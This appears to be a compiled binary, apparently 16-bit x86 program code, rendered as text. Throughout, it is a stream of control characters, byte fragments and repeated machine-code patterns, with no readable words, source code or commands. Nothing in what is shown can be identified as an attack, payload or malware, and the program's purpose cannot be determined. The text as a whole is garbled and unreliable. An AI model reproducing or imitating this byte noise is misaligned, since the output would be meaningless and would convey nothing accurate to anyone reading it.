&G2NNhZjjvvu3ҋDBFHVXӉVF3ҸNFV-PR3ҸN-[Y##ډ^NLJFVVFNwrXrT=uj!37N^`u>\^&G
&G=ؖ==
\3PRN[Yڃ3ҸQNS-[Y##JL^`t6`6^6\`^bdt b`^&W&`uJ&GB^`tYdb<b`^&W&`u&G
b&Gb&G&G\-&G&G
MV<;vm6<+6&+G;s3&G$<6P&G$6P&G&+G&P&w&&w(&w*&w&w,&W.[6+6<vO&G$<6P&G$6P&G&+G&PM&)w&&)w(&)w*&)w&)w,&_.&G 3&G,&W.@>&O23Ҹ>@-&O2PR3Ҹ-[Y##ډDB^EUVWvNVJ#‹v+‹VjjP_^]MEUv6N]MEUVW~NWJ#‹+؃sWjjS_^]MEU3ҸFV-PR3Ҹ-[Y##ډ^NVF+FVwOr=sHFV3ҸFV-PR3Ҹ-[Y##ډ^NVFMEU=&G>&O=t&O	&g=t&O@	&g=t&O 	&g=t&O@
&g=t&O	&g=u&O6
&g6]MEU
VW~vFFFFW^&3&O2RPuV&O2^&&GFVWVjPtw^&G;FsVjF&+GjPtU^&GtOFVWFPjjt0VFPjjtFFFWVvPu3
^F&G_^M
EU
Vv
FFFF^&GFV&GtVV&3&O2FVRPt@FVVFPjjt%FFFVFV~ru~r3^MEUVW~F&w6=u	vl%@%&==&G"VF=uW6@6>jDB+>@RPuuq=tjv
W6&6$6D6B6H6Fu&O2DB^&+u=3^&F&9ww3?v
WVvR^&w.tW&w2 u3F&9ww&G8&G:6@6>}DB&v v
vvt
^&O@==t&O2DB&G8BD3^&GAu&O@v
VvRYtn~u-W6@6>jDB+>@RPuFv
WVvR^&wuW6<u^&gF&9wvC~tWjj6u4VXt(W6@6>jDB+>@RPu]>XrMw>VvDW6u=WhfWVXRPuW6u	~u	VXt!W&O2&+G8&G:?&G:&G8=(W6@6>jDB+>@RPu3X=u^&G@u?v
WVvR^&wsuSW&w2bu?F&9wwW+BDHF_^MEUVW~^&&Gt^&w&7^&w&7t{^&W&G&W&G^&W&^&W&&G&_&G&G&G^&W&VF6`6^FP^&_&^F&+&G^&_&G^&W&GVF&G^&G&G
^&G3^&&WVF6`6^FP^&_&%P^&Gv&&G3FFF&OP3^&G
&W-N^&G=t&G@uhfN^&^&G&Gt0&_&wW^&w&w6h6f&w&w
u6W6h6f^&S&G[&wP^&w&w
uW6muWhf^&W&GN^&^&G&Gt5&_&wW^&w&w^&w&w^&w&w
u5r8w>v/VW+RPWRP66uVWjjjj66tqW66j&wtUV3RPtt=hhB>u3h|j>t6u3˃>t6>t6䙚t66f^`t6`6^D`^>0>u3EUV3=ؖ==vvt[=@tN=@tA66^&wt*vv6t66=@=@^]MEUvvt3]M62\2\2\zUO|2\hb!qqiq-qq2\2\;qqiq>2\vqbqW1J!q
q
q
1Jy
qC
2\'
q
1	q	1J	q	q	2\i	qI	1?	q	qqq2\qq2\qWq212\
qI
-%
qq12k
,2'1("20"0"1(1")2
2"21z(f2MF2h0%J0"@0I%	2\2\0%2\2\`0%lP'1p2
Oq2qq2
0'0#0'0#rPo2\i4
 0A'0(0I%0H#x0&[0$H0I%#0'0&0#0H#L0#1N
#2
E#0#"0(""0#S"0H#<"0#"0(!0'f!0( (0&'0H#'0&'0H#'0$'0A''0A's'0"8'0H#&0#_&W.&0#&0%%0A'%%0#e%0%2%0A'$$$q$1
U$q(0c"(0c"(0!g(0 J(0!A(0 3(0p!EU^&W&VF^&W&VF^&?u"&G;F
u&u&G;Fu	F&GF^&W&VFujM
EU^&G^
&O]MEU^
&w&7^&w&7uvvvv]MEUV
FVFFujV
FB^&W&VFFu
j33 ^&?u&G;FuVFFMEU
VFVFFt^&&?t	j;^&&GF^&W&VFFt^&?u	&G;Ftj3A^&u1&G;F
u(^&W&G;Vu;FuvvvSFMEUVv
FFFFt^&&?tj3^&&GFVFVF^&W&VFFt^&?u	&G;Ft+;t#FFuje^&&OjQ^&u@&9wu#^&W&G;Vu;FuVFVF^&9OuAt\AXF]^MEU^
&&u
^&&t
j^
&&G^&&;GthVFFuVFVFRP^
&w&7F^
&G&GtvvvSVF^
3&&GFVFFu$vvvvVFFu3^&?t@^&?^&F^&^&^&FF
u^&@F7^&F^&^&^&FF
u^&@FAsw^
&G&GtvvvvvvF+FPVF^
&W&&G&GF3+F&W&G
vvvvMEUVVFsVF3sV
FFVvv@FvPt^&vvvvt"FvP3FVRP^MEUVWprthnrp^
&G
l3rw;nv
jX6r6p^
&w&7jj^
&_&w^
&w&wp6rP&w&w
u6r6prp^
rp&W&&G&GvvvvVFFu3^F&73VFFV]^&?rpVFplVFvvvvFPu0vvvvjRP^&7^&w&wEu:^&^&;u^&rp	VFFVFF;FrF;Fs^&9?tvvjW&73sVFPRtF3FVRP@Fn+l;FsjvvavvvvvFlp&GF3FVVFNtvvvvvvk_^MEUVFFu
jQvvvvVFFu2^VF&W&&G&G^&G3FVVF3VFFV^
&&wP^&&wPub^&w8vvvv^&w^&w&wItl3FFNwvvvvvvW\^&wOvvvv^&w^&w&w^&G>0>t
vv3FFNw^MEUVFFu
jIvvvvVFFu*^VF&W&&G&G^&G3FVVF3VFFV^
&&wP^&&wPuZ^&w;vvvv^&w^&w&wu3FFNwvvvv\^&wOvvvv^&w^&w&w0^&G>0>t
vv3FFNw^MEU^&W&VFFFFFFFFFjlnrp&u=@uFFtvvvvt`VFVF^&?u/&G=t=t=tVFVFVFVF^&uVFVF^&?t2vvvvvv^&uVFVF^&_Kv.M
vvvvvv$vvvvvvuvvvvvvvvvvvvvvvv9^&u/&u(vvvvvvvvvv^&tVFVFF>0>u^&W&VFtS>0>t30>jt&=@^&w&7&wjhhjMH/H`~prt
6r6pEUVF
VFVFVF^&?uM^&?u;3FF3FF^&^&;r ^&^&;t#3^&?uvvvvMEU VFvPj^&G&t`^&w^&W&G
&wjjFPjj u0>3B:>tF |j%FvP3^MEU^&w^&G]MEU^&w&7^&G&]MEU^&tvS^&&GtvS]MV==t$3;6=siC=6=RF;6=r^EU^
&W&VF^&W&&_kÉVF^
&W&GFVȃRQXZډ^F^
&wVFFFF
vP^
&W&&&Gu&sw&w^
&W&VF&W&GFVȃRQXZډ^F^&W&&_kÉVF^
&wVFFF^
&Gm^
&wvvvv~rw~v3ҸVFRPu^VF
&W&GVF&W&^&?u3FF^F3FF&?u^&?u3FF^F3FF&?u3FF^&W&^&W&G
3FFF&+&G&G3FV&W&G&G3&G
&WFV&G3&G
&W)FV^
&GF^&G&G&;Gr
jFFt N^VF;wr;s
>0>uk>0>uj^
&WFN&+&G&O&G&Gu&G&G^
&w&7&w&wVFFt^
F&W&^
&w&7^
&G&3MEUVF
VFVFVFF
FuFFu^&?uk^&?t3FF3FF^&^&;s^&^&;u*3FF3FFc^&?uvvvvt^F3FF&?u^F3FF&?u^&?uL^&?u-3FF3FF^&^&;s:^&^&;t*Q^&?uEvvvvt3MEU^
&w&7^&w&7Uu!jhC^
&G^3&+GRPЋ]MEUFP^&W&&&Gt.F3^&G&v&O&G	j3MEUj^&W&&&Gu3^&G&G]MEUV^&v&Dk&G&^&w&7&G@kPVFFtQ^F&W&=@^&w&7&wjhh^&v&Dk&G&^&w&7^&G&3^MEU^&G3&G
&WRPVFFtkRv^&w&7j&w^&_&w^&w&w&G3FVRP&w&w
uvvFFVFMEU^&w&w
VFFt@^&_&w^&w&wRv&w&w
uvvFFVFMEU^&W&VF^&G&Gu&w&7F^&&Gu^&&Gt&w&7^&G&MEU>0>uF0>]MEU>0>uF
0>vv]MEUhhvvh&*]MEUV'~'|d|61hh&&hBhh)&&hBhh]MEU0>h=vvj^&w&wh|h|h
hh|^&GiCP==uj3=T=iC==؉V^=^&w&w
FRPFvPFvP=^&t
&G;=w^&? u	j&>0>t>=t	hhn60>6=6=0>MؐEUvvjj]MؐEU6FPj]MؐEU؃ V3JCPjvtujjvtzxC6Cj~|ujj~|VFދJJx&^&W&G^&W&GVFj66
RPF
RPPFP
tCC+ЃshCC6C6~6|~|ujjk~|؉V^^&?u0&W&GVF^&_&_&G^&^&_&_^&_&G^&^&_&G^&Gx&?uk&F^&W&VFFFt^&W&G
^&W
&GVF^&W
&G^&_&_&G^&_&;Gu^&_&_&G^&_&:GuCC+Ѓsh3CC6C6~6|~|ujjk~|؉V^^&_&G^&^&_&G^&Gx&?uF^&W&VFFFt^&W&VFFFtx&?tnCC+Ѓs
hPCsC6C6~6|~|ujjk~|؉V^ގF&&GFx^&W&VFFFt^f]MˌؐEU؃V3C6CjujjvtzxJJx&G^&W&G^&W&GVFj66
RPF
RPPFP
uF
vPF+CVB;s
hmC(F@C6C66ujjƉVFx&u&w^F&FvvF
vPF@^&W&VFFFtx&tj+C=shCtrC6C66ujjƉVF^&F^&FFx^&W&VFFFtV^f]MˌؐEU66v6tJP6v6t]MˌؐEU66~6|6C6~6|6666C66]MˌؐEU؃V>u>Jt>t>Jt8>ujh6ꏚRPFt++F6h؏sPwhk,6J$6C6C6C>Jt
^Y]MˌؐEU؃VvF
VFtjjvvvjjjjthj^YY]MˌؐEU؃vv
j\VFuVF
VFvvj.u"vvvvvv
?+RYY]MؐEU؃Vvv
j\VFuVF
VFvvj.VFtF+F
vv
jvv@PVFujjVvv
vv
FvPvvVF^YY]MؐEU.t
\t/u^F&
u3]MؐEUvvhh]MؐEUIIΏϏ
JJJ]MˌؐEU؀>Ώt+>IuΏ&ΏΏΏPIt=t#Bԏ֏&I|&
u 
]MˌؐEU؃VWYFtFjPF~Cu	~0u
~Eu~Pup3k
PFZЋF؊K<uڊFΏr-w'Gtu6
J>Jj#jFPj"j_^Y]MˌؐEU؃V3^FkFu~ t~	t^F&FEF~ ~hIFPuF=@r͊FΏ^&@uhjj
u33ڸ^f]MˌؐEU؃I8~&uI*~
u>It>IuI7
~/u,FuFK<u~/t~@t~&tFY]MˌؐEU؃VviΏVFuvvhIvv=?vvvjj}zvv@PYVFRPvvvvj\VFu%vvj:VFuVFVFFvvhIVF^&W&VFtt^&w&w
vvu:t$u^&Gtvvj&j
^&	w&G^&&Gu^&W&VFjjVFujj^VF&W&GVF&W&G
&wFFt^^VF&W&%=ujj^f]MؐEU؃F<
u-~uF~,tFPjjRΏY]MؐEU؃V30F<-u~+u~*uڊFΏuvvVu
u^Y]MؐEU؃Ώ'VFuvvPYҏЏRPvv6ҏ6ЏhIj
ufh,j
uRVFt8RvPYRPvv66hIj
uYY]MˌؐEU؃|Vduht+>t6ꏚFPu`]F֏ԏ>t6ҏ6ЏhI6ҏ6ЏjF|
P6	3>uT6ҏ6ЏhI=u6ҏ6Џjj^&w&W&VFFFu>u
u>tX6ҏ6ЏFPFPFPFPFPhIFPhI=uFPjj>t	6菚htu>u6ꏚ6ҏ6ЏhIVFRP>tBvv6ҏ6Џt+FPjjvv6ҏ6Џjj6ҏ6ЏFPt6ҏ6ЏFPjju3^f]M2qt2TW&1`2\k2\2\2\Z2\2\2\2m2\1q112\1Jxqe1J[qdqF2	1K0%12\1_1Uq51q1q1f1u2

q
1l
q(
2
	q	2	2\q	qa	1	1q2
wq92%2\}
1K;

8
2F5
2FdqFq4q
qq0%m0">q)q10"qq10c"2rk0%J0"00!1
q]11`2\111qqq|1Iqq1r12\E1110%1si1Z0%Hq!11s1K
2F2
,&A?A????2t0 o1j1K]2P0"9122\
0 0v 2\1`x}0 p0v \
K0F1SxP	2 2;2 $22 233$3#42 P2 P3*2 i 3*> 7 3+m3*m3*m~3*2 2x\2 E233$3#2  Q	 4#!%!H!c!n!!!!!!P"	*"x"@"
"@#3('#3#3##s$2 $2 $%2 %2!%&2 #&*&>&xK&b&&2z!&D&2 #'P9'2 '2 '2 (((x(2!(()x)2!I)~])3})g)bl)3))2z!)3()3}))3#)3(*2 q**x*3(*2 *3$ *3})*~*3)*3})*2z!+b&+8+2 R+2 g++2 ؐEUVWJ" &$JJJ(*,.2064:8><DBHFLJPN!JJTR%J#J'J)J-J+J1J/J3J5JV9J7J=J;J?JJ6
Jr-w'Gtu6
J>Jj#j
J_^]MˌؐEUvvhhjjjjjڸ]MؐEU؃^&W&VFFt;^&W&VFvSVFVFFu^&G&f]MؐEU؃vvPjVFujjF
vPvv^&G&^
&&Gu^^
&VF&W&^
VF&W&YY]MؐEU00&Ȩt#00&]MˌؐEUVW0&0sP6260h
ƅ60ڸ_^]MˌؐEU؃Vv
FVVFV=uHVVV=u1VFFFt VvvFPF^&VvvjF^f]MؐEU؃VWv3VVFV=u%VVV=uV=uVvvj_^YY]MؐEUV^&Gv
vSP;s> tj	jj
jƙ8:^]MؐEUvvhvvPڸ]MؐEUVWv
~u~u &?u	&ul V6"6 6,;,s> tj	jj
j~t/ &?u%WruWjjuVh<RP_^]MؐEUVW
JH#8u4
J+Ƌ'vƋ6h؏P>8:+u_^]MˌؐEUVv
" 20V*0&(0>(-|Q*%=u*(>FFt*h<^&w&wh<6*jj
jjV.0&,0;JvXJP6"6 " u(h<^&w&wh<6,jj
" 20V62606.,46>(t#>(
u& &Gu&G%=t
>
t" ,H&$^]MؐEU؃VW~F+4VJ#‹tW6"6 P646Wv
v:>(
t>(	uoWh<u`FF
t~uh<^&w&w
<
VFRPtvvjjjjh<&W&VF><:8J^&GJ&Gh<hAJj66h<h<PFvPh<HƇ<^&_VF&W&G&YY]MˌؐEU؃bF[FFFu00!yVFj66RPRPPFP
uE^&_&G&wP&G&wPHPh<&W&G&jjVF#J&G&G
u
F&W
&GFVF&W&VFHF^VF&W&G%J#J&W
&G#J&G'J*t00	00!303+ ;~u	9,vf]MˌؐEU؃ VFj66RPRPPFP
uE^&_&G&wP&G&wPHPh<&W&G&jjVF#J&G&G
u
F&W
&GFVF&W&VFHF^VF&W&G%J#J&W
&G#J&G'Jf]MˌؐEU؃00VFj66RPRPPFP
uE^&_&G&wP&G&wPHPh<&W&G&jjVF#J&G&G
u
F&W
&GFVF&W&VFHF^VF&W&G%J#J&W
&G#J&G'Jf]MˌؐEU0000&?u00&?u]MˌؐEU؃wVFq00j66vvvvPFPjjVFJ!JuF!JJRVF&W&VFTR^&W&G&^VF&W&GjjVF^&G&G
u
F&W
&G^VF&W&VFPN^&_><&W&GjjVF#J&G&Gu
F&W&GJVF&W&VFLJ^VF&W&GVF&W
&G#J&G)J303+ ;~mu	9,vbf]MˌؐEU؃VFFt
RvuFF9J7J1F
vPvvuVFVF^&W&VFFFuFFu9h7Jh;Jvv=J;JVF?J0&t0jjVF#J&G&Gu
F&W&GBVF&W&VFDB^VF&W&G#J&G ,H;0vf]MˌؐEU؃0&0F$F~u0000*t(0&W&VF0~t
FF$0&FF0~t
FF^F&)'+vvvv
FPtFn^&	Ow3_^YY]MؐEU؃
FJJVFFVFFPvvFP"uFf]MؐEU؃FF.;Ft.g>tN>t>u &G%Ѐtu3#J&GjjVFujj{JJt#JVF&W&
VFJJVF%J#J^&G&<&W&G^&W&GJVf]M	
!,Y!ؐEU؃VW33FFtO^&Gt:&w&whCJ=u"^&w&wjj^3&G^&g%FuV6jZ~u,>t%66j?,8:>(u~u6(>(u6vvtV_^Y]MؐEU؃VWv
VPvvjA
t"F^&w&w<>(uV,Pvvj
u^&w&wj jpF>t6VjO,8:>(u(>t~tVWvvv
u6(VvvF_^Y]MؐEUV^
&&_&G&wP^&&_&G&wPtg^
&W&&&_&;Wu&;GuE^&W&&&_&;Wu&;Gu#^
&&wP^&&wP^]MؐEU^
&&wP^&&wP]MؐEU؁VWFFuvvvvhFJ=uvvjj66FuhIJVVqjvVFVFuj!jEFFOt+66vvVF^F&W&uhcJVvvvjhhVFVF~F^&&W&GVF^&W&G^&;Wt&;t^&_&?u\~t
hwJV^&G&wPRPFƆ
Ɔ
P^&G&wPRPF@Pj +FPPhzJ^&w&w
Pj
PhJPVF~t^&&wPsRPhJb^&&wPYRPF~ v!^&&wP7RPRPhJ^&&wPRPRPhJPvPVFOtS~t
hJVvvV_^f]MؐEU؋Nu
C;|3]MؐEU؃VWFFFFFFFvP%FV66vvVFuăFVF%-#3+FjPVF+F+F-RPF;~vFX>XvX@;XuXX@X6XujhX@jP`^ujj>X[3ұ	^`VFRPjj%3ұ	^`3۾%ڎ&Ou_^f]MؐEU؃VWFFFFVF
V‰F&^
؉V^aN^&
 1FF^&
 1FNF^&
 1FN^&
 1F3FFNt뗻%F3V‰FF3VuFF36XV‹F36XVuF^
&%3ұ	^`VF^3^F&?t3%^F&F+F;w3%^F&^3^FV&Vvv
F3FVRP
3%^F&3һ%^V&FFt^&_&F&G_]p^3^F&FVvv
3FVRP
uFFt^&_&F&G6FF%3VF;FtF36X;Ft_3_^f]MؐEU؁VW66F~uJJPjh^&W&GVFRP=sFvPPFvPP
G^&_&GG&Gt
]6Pvvou^&W
&GPjh^&W&GVFRP=sFvPPFvPP
G^&_&GGG&GGG&Gt
]6Pjju^&W&VFFFt6^&W&VFFFtg!JJPjh^&W&GVFRP=sFvPPFvPP
G^&_&_&GGG^&_&_&GGG^&_&_&Gt
]6Pjju^&W&VFFFt_^f]MˌؐEU؃
VWFF6JY" ujj64>tO6vvm>(u>,sjj,F>u
JJJt>t6hJj8:>u6vvvji
uah<^&w&w
u?^&Gt)&Gu"hu
J-J:8JJ%+Љ,,JJ3J;J|;Js
JPjj6"6 j6, &,-&G66j@VR
t6`6^ܡXJ66`6^	P>t6jjj6hJj	66o_^f]MؐEUdb]MˌؐEUV3‹ց3‹^F&uڋ^]MؐEU؃h
jVFu33'~t^&W&GVFYY]MؐEU؃
FFVFdbF
FF
Fb&W&G
VFV‰F&W&VFFFt(^&G:FuvvFvPb&_uFFtVF^&W&~uvv
PjVFb&W&ujj^F&GF&GVF^&W&FRPvvFFt^VF&W&Fb؋VF&W&G
b&Gf]MؐEU^&G]MؐEU؃VF
dbFFt)VFVF^&G&W&VF
FFFFu'A=sb&W&G
VFtۋFFtVF33YY]MؐEU؃vFPjFY]MؐEU؃vFPjFY]MؐEUvv
vv
vP]MؐEUvFPj]MؐEUvFPj]MؐEU3k
LJo@=
|]MˌؐEUغB
}k
ou
u]MˌؐEU؃Fk
f^F^&u-&t&&w	vP&7&w^&G&G^&u-&w	&G&+G3؃RPj^&G&G^&G&GYY]MؐEU؃VFk
f^F^&t3D^&w	FvP&7h  }	^&G^&G&w&G^YY]MؐEU؃V3~wuu	~+u^F&F
uvv
V^Y]MؐEUVWF
Pvvtf<=tUh Yk
hfk
fhu5k
LJlk
ok
Ƈnk
LJjW_^]MؐEU؃Vvk
f^FV^&&Gt&w&7^&w	^&G	&G&G&G&G^YY]MؐEUV3k
otVlF
|^]MˌؐEU؃VWvFk
f^F^&u	v0pn^&G&+G;v5v
v&S&G[&wPWvuF+@~+(v
v^&S&G[&wPV^&w3u^&GF_^YY]MؐEU؃VW~vvk
f^F^&uWn^ &+GF;vvCWW v^&w	F
PvVG^&w&7v
vV^&w(&^&S&G[&wPv
vV^&w^&GF_^f]MؐEUVvVk
ojjj^]MؐEUVvVk
ov
vv^]Ms2 4m3>PT2 lx0	d3+p3n&{3&3n&3n&3n&3*3+3+3n&
3&3n&3n&$3n&:3+l3*2 63*R2 3*
3n&Zxk2 y2 3&2x2 3*3*2?")xNxd2 P2 	3#	33$		3#	33$		2 

P
3#
33$"=2 cP
3#33$=X2 ~Pj
3#u
33$~
P
PCP5DP^Pt2 F3(a2 3})IQ	~2 8D33DDb3(,2 <3%O3&U3})bP~2 3%3&
K3&_2x"f2x"x4
x3&0R2x"s2x"3&3&m3})Cc3%#2 7CqX4
coq>qqq6qa	tqqqu3%4
	O4
j~	>4
Ym	B W 2  2  3*!!C!2 !!2 !2 !3("2 1"3})W"m""2 "4
#m<#3*H#2W#3+f#3*^%x$%2 %P$$$$D$D#P'3*&3*&3*&&3*&3**
{*
)-)mm)-))-s(3(a(-J'-^'-+-^+-^+
V+
>+-UVvF=t5s-vvhdKF>Jt(v!^&^&FF^&,F^\vW^&^&FF^&,F^&^&FF^&,F^&^&FF^&,Fvq^&^&FF^&?$u^&,FF^&^&FF^&?$u^&,FF^&^&FF^&?$u^&]FF^&^]U~s=vv
hsKF

n
FPF
PFPjja~t
^
&]F
]
U^FJF^&?t&7vvu^&?uhj^&GUVWF
FFj9v
rhj^&?@u^
&:F
^
&:7^&?%tF&^&?uhj^&^
&FF
^&?$u^
&<F^&F+F
FtuFPF
PFPjj7iVF
VFFFFPF
PFPjjVFVF
FF^&?$thjF=gt
=it=mtK^
&&*+9v
s	^&?uhj^&^
&FF
^&?$t&?%u^
&&F
VFVF9v
s	^&?uhjF^&?$u&+F
Fvv
vvP2F
^
&:F
^
&:F
F+9v
s	^&?uhj^&^
&FF
^&?$t&?%uhj^&?$u
^
&,F
^&?$u=^
&>F
^&?%u&@t ^&^
&F
F^&?t^
&F
+F_^
ؐEU؃vvVFVFZ^&?uVFn^&?$u@&tu93ɃFk
^P&ZЃ0F^&؊K<uՋHFF^&?%uF;FrVFVF@YY]MUVW3^&W&VFk
^P&ZЃЋF^&K<uvv;shjNvvF@vPV^&^VF&W&^&?@uFFOu^&7_^UvVW^&W&VF^&W&VFFF